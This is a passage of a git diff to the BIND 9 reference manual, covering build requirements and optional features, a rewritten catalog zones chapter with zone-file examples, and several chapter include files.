+|                    | figure out the right one for supported systems. |
++--------------------+-------------------------------------------------+
+| ``CFLAGS``         | The C compiler flags. Defaults to include -g    |
+|                    | and/or -O2 as supported by the compiler. Please |
+|                    | include ``-g`` if ``CFLAGS`` needs to be set.   |
++--------------------+-------------------------------------------------+
+| ``LDFLAGS``        | The linker flags. Defaults to an empty string.  |
++--------------------+-------------------------------------------------+
+
+Additional environment variables affecting the build are listed at the
+end of the ``configure`` help text, which can be obtained by running the
+command:
+
+::
+
+    $ ./configure --help
+
+If using Emacs, the ``make tags`` command may be helpful.
+
+.. _build_dependencies:
+
+Required Libraries
+~~~~~~~~~~~~~~~~~~
+
+To build BIND 9, the following packages must be installed:
+
+- ``libcrypto``, ``libssl``
+- ``liburcu``
+- ``libuv``
+- ``perl``
+- ``pkg-config`` / ``pkgconfig`` / ``pkgconf``
+
+BIND 9.19 requires ``libuv`` 1.34.0 or higher, using ``libuv`` >= 1.40.0
+is recommended. Compiling or running with ``libuv`` 1.35.0 or 1.36.0 is
+not supported, as this could lead to an assertion failure in the UDP
+receive code. On older systems, an updated ``libuv`` package needs to be
+installed from sources such as EPEL, PPA, or other native sources. The
+other option is to build and install ``libuv`` from source.
+
+OpenSSL 1.0.2e or newer is required. If the OpenSSL library is installed
+in a nonstandard location, specify the prefix using
+``--with-openssl=<PREFIX>`` on the ``configure`` command line. To use a
+PKCS#11 hardware service module for cryptographic operations,
+``engine_pkcs11`` from the OpenSC project must be compiled and used.
+
+The Userspace RCU library ``liburcu`` (https://liburcu.org/) is used
+for lock-free data structures and concurrent safe memory reclamation.
+
+On Linux, process capabilities are managed in user space using the
+``libcap`` library
+(https://git.kernel.org/pub/scm/libs/libcap/libcap.git/), which can be
+installed on most Linux systems via the ``libcap-dev`` or
+``libcap-devel`` package.
+
+To build BIND from the git repository, the following tools must also be
+installed:
+
+- ``autoconf`` (includes ``autoreconf``)
+- ``automake``
+- ``libtool``
+
+Optional Features
+~~~~~~~~~~~~~~~~~
+
+To see a full list of configuration options, run ``configure --help``.
+
+To improve performance, use of the ``jemalloc`` library
+(http://jemalloc.net/) is strongly recommended.
+
+To support :rfc:`DNS over HTTPS (DoH) <8484>`, the server must be linked
+with ``libnghttp2`` (https://nghttp2.org/). If the library is
+unavailable, ``--disable-doh`` can be used to disable DoH support.
+
+To support the HTTP statistics channel, the server must be linked with
+at least one of the following libraries: ``libxml2``
+(http://xmlsoft.org) or ``json-c`` (https://github.com/json-c/json-c).
+If these are installed at a nonstandard location, then:
+
+- for ``libxml2``, specify the prefix using ``--with-libxml2=/prefix``,
+- for ``json-c``, adjust ``PKG_CONFIG_PATH``.
+
+To support compression on the HTTP statistics channel, the server must
+be linked against ``zlib`` (https://zlib.net/). If this is installed in
+a nonstandard location, specify the prefix using
+``--with-zlib=/prefix``.
+
+To support storing configuration data for runtime-added zones in an LMDB
+database, the server must be linked with ``liblmdb``
+(https://github.com/LMDB/lmdb). If this is installed in a nonstandard
+location, specify the prefix using ``--with-lmdb=/prefix``.
+
+To support MaxMind GeoIP2 location-based ACLs, the server must be linked
+with ``libmaxminddb`` (https://maxmind.github.io/libmaxminddb/). This is
+turned on by default if the library is found; if the library is
+installed in a nonstandard location, specify the prefix using
+``--with-maxminddb=/prefix``. GeoIP2 support can be switched off with
+``--disable-geoip``.
+
+For DNSTAP packet logging, ``libfstrm``
+(https://github.com/farsightsec/fstrm) and ``libprotobuf-c``
+(https://developers.google.com/protocol-buffers) must be installed, and
+BIND must be configured with ``--enable-dnstap``.
+
+To support internationalized domain names in :iscman:`dig`, ``libidn2``
+(https://www.gnu.org/software/libidn/#libidn2) must be installed. If the
+library is installed in a nonstandard location, specify the prefix using
+``--with-libidn2=/prefix`` or adjust ``PKG_CONFIG_PATH``.
+
+For line editing in :iscman:`nsupdate` and :iscman:`nslookup`, either the
+``readline`` (https://tiswww.case.edu/php/chet/readline/rltop.html) or
+the ``libedit`` library (https://www.thrysoee.dk/editline/) must be
+installed. If these are installed at a nonstandard location, adjust
+``PKG_CONFIG_PATH``. ``readline`` is used by default, and ``libedit``
+can be explicitly requested using ``--with-readline=libedit``.
+
+On some platforms it is necessary to explicitly request large file
+support to handle files bigger than 2GB. This can be done by using
+``--enable-largefile`` on the ``configure`` command line.
+
+Support for the “fixed” RRset-order option can be enabled or disabled by
+specifying ``--enable-fixed-rrset`` or ``--disable-fixed-rrset`` on the
+``configure`` command line. By default, fixed RRset-order is disabled to
+reduce memory footprint.
+
+The ``--enable-querytrace`` option causes :iscman:`named` to log every step
+while processing every query. The ``--enable-singletrace`` option turns
+on the same verbose tracing, but allows an individual query to be
+separately traced by setting its query ID to 0. These options should
+only be enabled when debugging, because they have a significant negative
+impact on query performance.
+
+``make install`` installs :iscman:`named` and the various BIND 9 libraries. By
+default, installation is into /usr/local, but this can be changed with
+the ``--prefix`` option when running ``configure``.
+
+The option ``--sysconfdir`` can be specified to set the directory where
+configuration files such as :iscman:`named.conf` go by default;
+``--localstatedir`` can be used to set the default parent directory of
+``run/named.pid``. ``--sysconfdir`` defaults to ``$prefix/etc`` and
+``--localstatedir`` defaults to ``$prefix/var``.
+
+macOS
+~~~~~
+
+Building on macOS assumes that the “Command Tools for Xcode” are
+installed. These can be downloaded from
+https://developer.apple.com/download/more/ or, if Xcode is already
+installed, simply run ``xcode-select --install``. (Note that an Apple ID
+may be required to access the download page.)
diff --git a/doc/arm/catz.inc.rst b/doc/arm/catz.inc.rst
new file mode 100644
index 0000000000..fec0759c3a
--- /dev/null
+++ b/doc/arm/catz.inc.rst
@@ -0,0 +1,301 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _catz-info:
+
+Catalog Zones
+-------------
+
+A "catalog zone" is a special DNS zone that contains a list of other
+zones to be served, along with their configuration parameters. Zones
+listed in a catalog zone are called "member zones." When a catalog zone
+is loaded or transferred to a secondary server which supports this
+functionality, the secondary server creates the member zones
+automatically. When the catalog zone is updated (for example, to add or
+delete member zones, or change their configuration parameters), those
+changes are immediately put into effect. Because the catalog zone is a
+normal DNS zone, these configuration changes can be propagated using the
+standard AXFR/IXFR zone transfer mechanism.
+
+Catalog zones' format and behavior are specified as an Internet draft
+for interoperability among DNS implementations. The
+latest revision of the DNS catalog zones draft can be found here:
+https://datatracker.ietf.org/doc/draft-toorop-dnsop-dns-catalog-zones/ .
+
+Principle of Operation
+~~~~~~~~~~~~~~~~~~~~~~
+
+Normally, if a zone is to be served by a secondary server, the
+:iscman:`named.conf` file on the server must list the zone, or the zone must
+be added using :option:`rndc addzone`. In environments with a large number of
+secondary servers, and/or where the zones being served are changing
+frequently, the overhead involved in maintaining consistent zone
+configuration on all the secondary servers can be significant.
+
+A catalog zone is a way to ease this administrative burden: it is a DNS
+zone that lists member zones that should be served by secondary servers.
+When a secondary server receives an update to the catalog zone, it adds,
+removes, or reconfigures member zones based on the data received.
+
+To use a catalog zone, it must first be set up as a normal zone on both the
+primary and secondary servers that are configured to use it. It
+must also be added to a :any:`catalog-zones` list in the :namedconf:ref:`options` or
+:any:`view` statement in :iscman:`named.conf`. This is comparable to the way a
+policy zone is configured as a normal zone and also listed in a
+:any:`response-policy` statement.
+
+To use the catalog zone feature to serve a new member zone:
+
+-  Set up the member zone to be served on the primary as normal. This
+   can be done by editing :iscman:`named.conf` or by running
+   :option:`rndc addzone`.
+
+-  Add an entry to the catalog zone for the new member zone. This can
+   be done by editing the catalog zone's zone file and running
+   :option:`rndc reload`, or by updating the zone using :iscman:`nsupdate`.
+
+The change to the catalog zone is propagated from the primary to all
+secondaries using the normal AXFR/IXFR mechanism. When the secondary receives the
+update to the catalog zone, it detects the entry for the new member
+zone, creates an instance of that zone on the secondary server, and points
+that instance to the :any:`primaries` specified in the catalog zone data. The
+newly created member zone is a normal secondary zone, so BIND
+immediately initiates a transfer of zone contents from the primary. Once
+complete, the secondary starts serving the member zone.
+
+Removing a member zone from a secondary server requires only
+deleting the member zone's entry in the catalog zone; the change to the
+catalog zone is propagated to the secondary server using the normal
+AXFR/IXFR transfer mechanism. The secondary server, on processing the
+update, notices that the member zone has been removed, stops
+serving the zone, and removes it from its list of configured zones.
+However, removing the member zone from the primary server must be done
+by editing the configuration file or running
+:option:`rndc delzone`.
+
+Configuring Catalog Zones
+~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: catalog-zones
+   :tags: zone
+   :short: Configures catalog zones in :iscman:`named.conf`.
+
+Catalog zones are configured with a :any:`catalog-zones` statement in the
+:namedconf:ref:`options` or :any:`view` section of :iscman:`named.conf`. For example:
+
+::
+
+   catalog-zones {
+       zone "catalog.example"
+            default-primaries { 10.53.0.1; }
+            in-memory no
+            zone-directory "catzones"
+            min-update-interval 10;
+   };
+
+This statement specifies that the zone ``catalog.example`` is a catalog
+zone. This zone must be properly configured in the same view. In most
+configurations, it would be a secondary zone.
+
+The options following the zone name are not required, and may be
+specified in any order.
+
+``default-masters``
+   Synonym for ``default-primaries``.
+
+``default-primaries``
+   This option defines the default primaries for member
+   zones listed in a catalog zone, and can be overridden by options within
+   a catalog zone. If no such options are included, then member zones
+   transfer their contents from the servers listed in this option.
+
+``in-memory``
+   This option, if set to ``yes``, causes member zones to be
+   stored only in memory. This is functionally equivalent to configuring a
+   secondary zone without a :any:`file` option. The default is ``no``; member
+   zones' content is stored locally in a file whose name is
+   automatically generated from the view name, catalog zone name, and
+   member zone name.
+
+``zone-directory``
+   This option causes local copies of member zones' zone files to be
+   stored in the specified directory, if ``in-memory`` is not set to
+   ``yes``. The default is to store zone files in the server's working
+   directory. A non-absolute pathname in ``zone-directory`` is assumed
+   to be relative to the working directory.
+
+``min-update-interval``
+   This option sets the minimum interval between updates to catalog
+   zones, in seconds. If an update to a catalog zone (for example, via
+   IXFR) happens less than ``min-update-interval`` seconds after the
+   most recent update, the changes are not carried out until this
+   interval has elapsed. The default is 5 seconds.
+
+Catalog zones are defined on a per-view basis. Configuring a non-empty
+:any:`catalog-zones` statement in a view automatically turns on
+:any:`allow-new-zones` for that view. This means that :option:`rndc addzone`
+and :option:`rndc delzone` also work in any view that supports catalog
+zones.
+
+Catalog Zone Format
+~~~~~~~~~~~~~~~~~~~
+
+A catalog zone is a regular DNS zone; therefore, it must have a single
+``SOA`` and at least one ``NS`` record.
+
+A record stating the version of the catalog zone format is also
+required. If the version number listed is not supported by the server,
+then a catalog zone may not be used by that server.
+
+::
+
+   catalog.example.    IN SOA . . 2016022901 900 600 86400 1
+   catalog.example.    IN NS invalid.
+   version.catalog.example.    IN TXT "2"
+
+Note that this record must have the domain name
+``version.catalog-zone-name``. The data
+stored in a catalog zone is indicated by the domain name label
+immediately before the catalog zone domain. Currently BIND supports catalog zone
+schema versions "1" and "2".
+
+Also note that the catalog zone must have an NS record in order to be a valid
+DNS zone, and using the value "invalid." for NS is recommended.
+
+A member zone is added by including a ``PTR`` resource record in the
+``zones`` sub-domain of the catalog zone. The record label can be any unique label.
+The target of the PTR record is the member zone name. For example, to add member zones
+``domain.example`` and ``domain2.example``:
+
+::
+
+   5960775ba382e7a4e09263fc06e7c00569b6a05c.zones.catalog.example. IN PTR domain.example.
+   uniquelabel.zones.catalog.example. IN PTR domain2.example.
+
+The label is necessary to identify custom properties (see below) for a specific member zone.
+Also, the zone state can be reset by changing its label, in which case BIND will remove
+the member zone and add it back.
+
+Catalog Zone Custom Properties
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+BIND uses catalog zones custom properties to define different properties which
+can be set either globally for the whole catalog
+zone or for a single member zone. Global custom properties override the settings
+in the configuration file, and member zone custom properties override global
+custom properties.
+
+For the version "1" of the schema custom properties must be placed without a special suffix.
+
+For the version "2" of the schema custom properties must be placed under the ".ext" suffix.
+
+Global custom properties are set at the apex of the catalog zone, e.g.:
+
+::
+
+    primaries.ext.catalog.example.    IN AAAA 2001:db8::1
+
+BIND currently supports the following custom properties:
+
+-  A simple :any:`primaries` definition:
+
+   ::
+
+           primaries.ext.catalog.example.    IN A 192.0.2.1
+
+
+   This custom property defines a primary server for the member zones, which can be
+   either an A or AAAA record. If multiple primaries are set, the order in
+   which they are used is random.
+
+   Note: ``masters`` can be used as a synonym for :any:`primaries`.
+
+-  A :any:`primaries` with a TSIG key defined:
+
+   ::
+
+               label.primaries.ext.catalog.example.     IN A 192.0.2.2
+               label.primaries.ext.catalog.example.     IN TXT "tsig_key_name"
+
+
+   This custom property defines a primary server for the member zone with a TSIG
+   key set. The TSIG key must be configured in the configuration file.
+   ``label`` can be any valid DNS label.
+
+   Note: ``masters`` can be used as a synonym for :any:`primaries`.
+
+-  :any:`allow-query` and :any:`allow-transfer` ACLs:
+
+   ::
+
+               allow-query.ext.catalog.example.   IN APL 1:10.0.0.1/24
+               allow-transfer.ext.catalog.example.    IN APL !1:10.0.0.1/32 1:10.0.0.0/24
+
+
+   These custom properties are the equivalents of :any:`allow-query` and
+   :any:`allow-transfer` options in a zone declaration in the :iscman:`named.conf`
+   configuration file. The ACL is processed in order; if there is no
+   match to any rule, the default policy is to deny access. For the
+   syntax of the APL RR, see :rfc:`3123`.
+
+The member zone-specific custom properties are defined the same way as global
+custom properties, but in the member zone subdomain:
+
+::
+
+   primaries.ext.5960775ba382e7a4e09263fc06e7c00569b6a05c.zones.catalog.example. IN A 192.0.2.2
+   label.primaries.ext.5960775ba382e7a4e09263fc06e7c00569b6a05c.zones.catalog.example. IN AAAA 2001:db8::2
+   label.primaries.ext.5960775ba382e7a4e09263fc06e7c00569b6a05c.zones.catalog.example. IN TXT "tsig_key_name"
+   allow-query.ext.5960775ba382e7a4e09263fc06e7c00569b6a05c.zones.catalog.example. IN APL 1:10.0.0.0/24
+   primaries.ext.uniquelabel.zones.catalog.example. IN A 192.0.2.3
+
+Custom properties defined for a specific zone override the
+global custom properties defined in the catalog zone. These in turn override the
+global options defined in the :any:`catalog-zones` statement in the
+configuration file.
+
+Note that none of the global records for a custom property are inherited if any
+records are defined for that custom property for the specific zone. For example,
+if the zone had a :any:`primaries` record of type A but not AAAA, it
+would *not* inherit the type AAAA record from the global custom property
+or from the global option in the configuration file.
+
+Change of Ownership (coo)
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+BIND supports the catalog zones "Change of Ownership" (coo) property. When the
+same entry which exists in one catalog zone is added into another catalog zone,
+the default behavior for BIND is to ignore it, and continue serving the zone
+using the catalog zone where it was originally existed, unless it is removed
+from there, then it can be added into the new one.
+
+Using the ``coo`` property it is possible to gracefully move a zone from one
+catalog zone into another, by letting the catalog consumers know that it is
+permitted to do so. To do that, the original catalog zone should be updated with
+a new record with ``coo`` custom property:
+
+::
+
+   uniquelabel.zones.catalog.example. IN PTR domain2.example.
+   coo.uniquelabel.zones.catalog.example. IN PTR catalog2.example.
+
+Here, the ``catalog.example`` catalog zone gives permission for the member zone
+with label "uniquelabel" to be transferred into ``catalog2.example`` catalog
+zone. Catalog consumers which support the ``coo`` property will then take note,
+and when the zone is finally added into ``catalog2.example`` catalog zone,
+catalog consumers will change the ownership of the zone from ``catalog.example``
+to ``catalog2.example``. BIND's implementation simply deletes the zone from the
+old catalog zone and adds it back into the new catalog zone, which also means
+that all associated state for the just migrated zone will be reset, including
+when the unique label is the same.
+
+The record with ``coo`` custom property can be later deleted by the
+catalog zone operator after confirming that all the consumers have received
+it and have successfully changed the ownership of the zone.
diff --git a/doc/arm/catz.rst b/doc/arm/catz.rst
deleted file mode 100644
index cd3ee30adf..0000000000
--- a/doc/arm/catz.rst
+++ /dev/null
@@ -1,241 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-.. _catz-info:
-
-Catalog Zones
--------------
-
-A "catalog zone" is a special DNS zone that contains a list of other
-zones to be served, along with their configuration parameters. Zones
-listed in a catalog zone are called "member zones." When a catalog zone
-is loaded or transferred to a secondary server which supports this
-functionality, the secondary server creates the member zones
-automatically. When the catalog zone is updated (for example, to add or
-delete member zones, or change their configuration parameters), those
-changes are immediately put into effect. Because the catalog zone is a
-normal DNS zone, these configuration changes can be propagated using the
-standard AXFR/IXFR zone transfer mechanism.
-
-Catalog zones' format and behavior are specified as an Internet draft
-for interoperability among DNS implementations. The
-latest revision of the DNS catalog zones draft can be found here:
-https://datatracker.ietf.org/doc/draft-toorop-dnsop-dns-catalog-zones/ .
-
-Principle of Operation
-~~~~~~~~~~~~~~~~~~~~~~
-
-Normally, if a zone is to be served by a secondary server, the
-``named.conf`` file on the server must list the zone, or the zone must
-be added using ``rndc addzone``. In environments with a large number of
-secondary servers, and/or where the zones being served are changing
-frequently, the overhead involved in maintaining consistent zone
-configuration on all the secondary servers can be significant.
-
-A catalog zone is a way to ease this administrative burden: it is a DNS
-zone that lists member zones that should be served by secondary servers.
-When a secondary server receives an update to the catalog zone, it adds,
-removes, or reconfigures member zones based on the data received.
-
-To use a catalog zone, it must first be set up as a normal zone on both the
-primary and secondary servers that are configured to use it. It
-must also be added to a ``catalog-zones`` list in the ``options`` or
-``view`` statement in ``named.conf``. This is comparable to the way a
-policy zone is configured as a normal zone and also listed in a
-``response-policy`` statement.
-
-To use the catalog zone feature to serve a new member zone:
-
--  Set up the the member zone to be served on the primary as normal. This
-   can be done by editing ``named.conf`` or by running
-   ``rndc addzone``.
-
--  Add an entry to the catalog zone for the new member zone. This can
-   be done by editing the catalog zone's zone file and running
-   ``rndc reload``, or by updating the zone using ``nsupdate``.
-
-The change to the catalog zone is propagated from the primary to all
-secondaries using the normal AXFR/IXFR mechanism. When the secondary receives the
-update to the catalog zone, it detects the entry for the new member
-zone, creates an instance of that zone on the secondary server, and points
-that instance to the ``primaries`` specified in the catalog zone data. The
-newly created member zone is a normal secondary zone, so BIND
-immediately initiates a transfer of zone contents from the primary. Once
-complete, the secondary starts serving the member zone.
-
-Removing a member zone from a secondary server requires only
-deleting the member zone's entry in the catalog zone; the change to the
-catalog zone is propagated to the secondary server using the normal
-AXFR/IXFR transfer mechanism. The secondary server, on processing the
-update, notices that the member zone has been removed, stops
-serving the zone, and removes it from its list of configured zones.
-However, removing the member zone from the primary server must be done
-by editing the configuration file or running
-``rndc delzone``.
-
-Configuring Catalog Zones
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Catalog zones are configured with a ``catalog-zones`` statement in the
-``options`` or ``view`` section of ``named.conf``. For example:
-
-::
-
-   catalog-zones {
-       zone "catalog.example"
-            default-primaries { 10.53.0.1; }
-            in-memory no
-            zone-directory "catzones"
-            min-update-interval 10;
-   };
-
-This statement specifies that the zone ``catalog.example`` is a catalog
-zone. This zone must be properly configured in the same view. In most
-configurations, it would be a secondary zone.
-
-The options following the zone name are not required, and may be
-specified in any order.
-
-``default-masters``
-   This option defines the default primaries for member
-   zones listed in a catalog zone, and can be overridden by options within
-   a catalog zone. If no such options are included, then member zones
-   transfer their contents from the servers listed in this option.
-
-``in-memory``
-   This option, if set to ``yes``, causes member zones to be
-   stored only in memory. This is functionally equivalent to configuring a
-   secondary zone without a ``file`` option. The default is ``no``; member
-   zones' content is stored locally in a file whose name is
-   automatically generated from the view name, catalog zone name, and
-   member zone name.
-
-``zone-directory``
-   This option causes local copies of member zones'
-   zone files to be stored in
-   the specified directory, if ``in-memory`` is not set to ``yes``. The default is to store zone files in the
-   server's working directory. A non-absolute pathname in
-   ``zone-directory`` is assumed to be relative to the working directory.
-
-``min-update-interval``
-   This option sets the minimum interval between
-   processing of updates to catalog zones, in seconds. If an update to a
-   catalog zone (for example, via IXFR) happens less than
-   ``min-update-interval`` seconds after the most recent update, the
-   changes are not carried out until this interval has elapsed. The
-   default is 5 seconds.
-
-Catalog zones are defined on a per-view basis. Configuring a non-empty
-``catalog-zones`` statement in a view automatically turns on
-``allow-new-zones`` for that view. This means that ``rndc addzone``
-and ``rndc delzone`` also work in any view that supports catalog
-zones.
-
-Catalog Zone Format
-~~~~~~~~~~~~~~~~~~~
-
-A catalog zone is a regular DNS zone; therefore, it must have a single
-``SOA`` and at least one ``NS`` record.
-
-A record stating the version of the catalog zone format is also
-required. If the version number listed is not supported by the server,
-then a catalog zone may not be used by that server.
-
-::
-
-   catalog.example.    IN SOA . . 2016022901 900 600 86400 1
-   catalog.example.    IN NS nsexample.
-   version.catalog.example.    IN TXT "1"
-
-Note that this record must have the domain name
-``version.catalog-zone-name``. The data
-stored in a catalog zone is indicated by the domain name label
-immediately before the catalog zone domain.
-
-Catalog zone options can be set either globally for the whole catalog
-zone or for a single member zone. Global options override the settings
-in the configuration file, and member zone options override global
-options.
-
-Global options are set at the apex of the catalog zone, e.g.:
-
-::
-
-    primaries.catalog.example.    IN AAAA 2001:db8::1
-
-BIND currently supports the following options:
-
--  A simple ``primaries`` definition:
-
-   ::
-
-           primaries.catalog.example.    IN A 192.0.2.1
-
-
-   This option defines a primary server for the member zones, which can be
-   either an A or AAAA record. If multiple primaries are set, the order in
-   which they are used is random.
-
--  A ``primaries`` with a TSIG key defined:
-
-   ::
-
-               label.primaries.catalog.example.     IN A 192.0.2.2
-               label.primaries.catalog.example.     IN TXT "tsig_key_name"
-
-
-   This option defines a primary server for the member zone with a TSIG
-   key set. The TSIG key must be configured in the configuration file.
-   ``label`` can be any valid DNS label.
-
--  ``allow-query`` and ``allow-transfer`` ACLs:
-
-   ::
-
-               allow-query.catalog.example.   IN APL 1:10.0.0.1/24
-               allow-transfer.catalog.example.    IN APL !1:10.0.0.1/32 1:10.0.0.0/24
-
-
-   These options are the equivalents of ``allow-query`` and
-   ``allow-transfer`` in a zone declaration in the ``named.conf``
-   configuration file. The ACL is processed in order; if there is no
-   match to any rule, the default policy is to deny access. For the
-   syntax of the APL RR, see :rfc:`3123`.
-
-A member zone is added by including a ``PTR`` resource record in the
-``zones`` sub-domain of the catalog zone. The record label is a
-``SHA-1`` hash of the member zone name in wire format. The target of the
-PTR record is the member zone name. For example, to add the member zone
-``domain.example``:
-
-::
-
-   5960775ba382e7a4e09263fc06e7c00569b6a05c.zones.catalog.example. IN PTR domain.example.
-
-The hash is necessary to identify options for a specific member zone.
-The member zone-specific options are defined the same way as global
-options, but in the member zone subdomain:
-
-::
-
-   primaries.5960775ba382e7a4e09263fc06e7c00569b6a05c.zones.catalog.example. IN A 192.0.2.2
-   label.primaries.5960775ba382e7a4e09263fc06e7c00569b6a05c.zones.catalog.example. IN AAAA 2001:db8::2
-   label.primaries.5960775ba382e7a4e09263fc06e7c00569b6a05c.zones.catalog.example. IN TXT "tsig_key"
-   allow-query.5960775ba382e7a4e09263fc06e7c00569b6a05c.zones.catalog.example. IN APL 1:10.0.0.0/24
-
-Options defined for a specific zone override the
-global options defined in the catalog zone. These in turn override the
-global options defined in the ``catalog-zones`` statement in the
-configuration file.
-
-Note that none of the global records for an option are inherited if any
-records are defined for that option for the specific zone. For example,
-if the zone had a ``masters`` record of type A but not AAAA, it
-would *not* inherit the type AAAA record from the global option.
diff --git a/doc/arm/chapter1.rst b/doc/arm/chapter1.rst
new file mode 100644
index 0000000000..d3d0c708c7
--- /dev/null
+++ b/doc/arm/chapter1.rst
@@ -0,0 +1,14 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. include:: introduction.inc.rst
+.. include:: intro-dns-bind.inc.rst
+.. include:: intro-security.inc.rst
diff --git a/doc/arm/chapter10.rst b/doc/arm/chapter10.rst
new file mode 100644
index 0000000000..1e8425ea4b
--- /dev/null
+++ b/doc/arm/chapter10.rst
@@ -0,0 +1,12 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. include:: build.inc.rst
diff --git a/doc/arm/chapter2.rst b/doc/arm/chapter2.rst
new file mode 100644
index 0000000000..bbf847736e
--- /dev/null
+++ b/doc/arm/chapter2.rst
@@ -0,0 +1,13 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. include:: requirements.inc.rst
+.. include:: platforms.inc.rst
diff --git a/doc/arm/chapter3.rst b/doc/arm/chapter3.rst
new file mode 100644
index 0000000000..509dc489e6
--- /dev/null
+++ b/doc/arm/chapter3.rst
@@ -0,0 +1,17 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. highlight:: none
+
+.. include:: config-intro.inc.rst
+.. include:: config-auth.inc.rst
+.. include:: config-resolve.inc.rst
+.. include:: zones.inc.rst
diff --git a/doc/arm/chapter4.rst b/doc/arm/chapter4.rst
new file mode 100644
index 0000000000..305a27517d
--- /dev/null
+++ b/doc/arm/chapter4.rst
@@ -0,0 +1,13 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. include:: dns-ops.inc.rst
+.. include:: plugins.inc.rst
\ No newline at end of file
diff --git a/doc/arm/chapter5.rst b/doc/arm/chapter5.rst
new file mode 100644
index 0000000000..365deb45f1
--- /dev/null
+++ b/doc/arm/chapter5.rst
@@ -0,0 +1,14 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. include:: dnssec.inc.rst
+.. include:: managed-keys.inc.rst
+.. include:: pkcs11.inc.rst
diff --git a/doc/arm/chapter6.rst b/doc/arm/chapter6.rst
new file mode 100644
index 0000000000..68d98bced0
--- /dev/null
+++ b/doc/arm/chapter6.rst
@@ -0,0 +1,16 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. include:: advanced.inc.rst
+.. include:: dlz.inc.rst
+.. include:: dyndb.inc.rst
+.. include:: catz.inc.rst
+.. include:: rpz.inc.rst
diff --git a/doc/arm/chapter7.rst b/doc/arm/chapter7.rst
new file mode 100644
index 0000000000..905ba054af
--- /dev/null
+++ b/doc/arm/chapter7.rst
@@ -0,0 +1,14 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. include:: security.inc.rst
+.. include:: tsig.inc.rst
+.. include:: sig0.inc.rst
diff --git a/doc/arm/chapter9.rst b/doc/arm/chapter9.rst
new file mode 100644
index 0000000000..afe54e3dfe
--- /dev/null
+++ b/doc/arm/chapter9.rst
@@ -0,0 +1,13 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. include:: troubleshooting.inc.rst
+
diff --git a/doc/arm/conf.py b/doc/arm/conf.py
index 1458fe9f47..be3b0cc901 100644
--- a/doc/arm/conf.py
+++ b/doc/arm/conf.py
@@ -1,6 +1,8 @@
 ############################################################################
